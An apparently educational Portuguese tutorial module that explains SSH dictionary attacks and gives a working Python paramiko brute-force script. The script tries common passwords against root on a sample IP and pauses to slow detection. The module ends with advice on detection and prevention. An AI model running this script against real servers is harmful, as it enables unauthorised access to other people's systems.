Tenta combinações de usuário e senha em servidores SSH.

Contexto

O SSH (Secure Shell) é o protocolo padrão para gerenciar servidores remotamente de forma criptografada. No entanto, a segurança do protocolo não impede ataques contra a autenticação.

O objetivo deste módulo é realizar um ataque de dicionário, testando diversas combinações de nomes de usuário e senhas contra um alvo específico. Em um Pentest, isso é usado para identificar:

  • Senhas Fracas: Credenciais óbvias como admin/admin ou root/123456.
  • Configurações Padrão: Credenciais que vêm de fábrica em dispositivos IoT ou servidores recém-instalados.
  • Falta de Políticas de Bloqueio: Verificar se o servidor permite tentativas infinitas sem banir o IP do atacante (falha de implementação de Fail2Ban).

Possibilidades de Implementação

  • Biblioteca Paramiko: É a biblioteca padrão do Python para lidar com SSH. Ela permite simular uma conexão completa e verificar se o login foi aceito ou rejeitado.
  • Multithreading: Essencial para testar centenas de senhas em pouco tempo, embora o excesso de conexões simultâneas possa causar um DoS no serviço SSH ou ser facilmente detectado.
  • Ataque de Credenciais: Pode ser configurado para testar um único usuário com várias senhas, ou várias combinações de usuários conhecidos.

Código

Este módulo utiliza a biblioteca paramiko. Ele tenta se conectar e, caso não receba uma exceção de autenticação, confirma que a senha é válida.

Requisito: pip install paramiko

import paramiko
import socket
import time

def ssh_brute_force(hostname, username, password):
    """
    Tenta realizar uma conexão SSH com as credenciais fornecidas.
    """
    client = paramiko.SSHClient()

    # Adiciona automaticamente a chave do host (necessário para conexões novas)
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        # Tenta a conexão
        client.connect(hostname, username=username, password=password, timeout=3)
        print(f"[!] SUCESSO: Login encontrado! -> {username}:{password}")
        client.close()
        return True
    except paramiko.AuthenticationException:
        # Senha incorreta
        return False
    except socket.error:
        # Servidor offline ou porta fechada
        print("[!] Erro: Servidor inacessível.")
        return "error"
    except Exception as e:
        print(f"[?] Erro inesperado: {e}")
        return False
    finally:
        client.close()

def main():
    print("=" * 60)
    print("Módulo: SSH Brute Forcer | Projeto: 30 Lessons in Python")
    print("=" * 60)

    target_ip = "192.168.1.10" # IP do servidor alvo
    target_user = "root"

    # Wordlist simulada
    passwords = ["123456", "password", "admin", "root", "secret", "p@ssword"]

    print(f"[*] Iniciando ataque contra {target_user}@{target_ip}...")

    for pwd in passwords:
        print(f"[*] Testando: {pwd}", end="\r")
        result = ssh_brute_force(target_ip, target_user, pwd)

        if result == True:
            break
        elif result == "error":
            break

        # Pequena pausa para evitar sobrecarga/detecção imediata
        time.sleep(0.5)

    print("\n" + "=" * 60)
    print("[*] Ataque finalizado.")

if __name__ == "__main__":
    main()

Observações

  • Segurança do Script: O Paramiko é uma biblioteca pesada. Certifique-se de que todas as conexões sejam fechadas (client.close()) para não deixar processos pendentes.
  • Detecção: Ataques de força bruta em SSH são extremamente barulhentos. Eles geram centenas de logs em /var/log/auth.log. Como Software Architect, você deve notar que qualquer sistema de monitoramento (SIEM) pegaria isso em segundos.
  • Prevenção: Destaque em seu projeto que a melhor defesa contra isso é:
    1. Desativar login de root via SSH.
    2. Usar autenticação por chaves SSH em vez de senhas.
    3. Implementar Fail2Ban para banir IPs após 3 ou 5 erros.